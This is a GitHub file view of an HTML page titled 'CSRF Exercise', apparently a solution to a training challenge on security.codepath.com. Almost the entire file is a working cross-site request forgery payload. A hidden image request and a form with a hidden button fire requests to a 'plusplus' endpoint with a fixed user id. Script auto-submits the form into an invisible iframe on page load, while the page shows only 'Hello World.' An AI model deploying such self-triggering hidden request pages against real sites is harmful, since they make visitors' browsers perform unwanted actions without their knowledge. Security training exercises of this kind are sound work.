-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy path404.html
More file actions
22 lines (22 loc) · 766 Bytes
/
404.html
File metadata and controls
22 lines (22 loc) · 766 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<!DOCTYPE html>
<html lang="en" dir="ltr"><head>
<meta charset="utf-8">
<title>CSRF Exercise</title>
<style media="screen">
#submitButton {
visibility: hidden;
}
</style>
</head>
<body>
<img src="https://security.codepath.com/user/csrfchallengetwo/plusplus?userid=b7396468f567656faa397e29e0a1e135dccd6387"/>
<p>Hello World.</p>
<form name="csrfForm" action="https://security.codepath.com/user/csrfchallengetwo/plusplus/userid=b7396468f567656faa397e29e0a1e135dccd6387" method="POST" target="not_shown">
<input type="submit"/>
</form>
<iframe name="not_shown" style="display: none;"></iframe>
<script>
document.csrfForm.submit();
</script>
</body>
</html>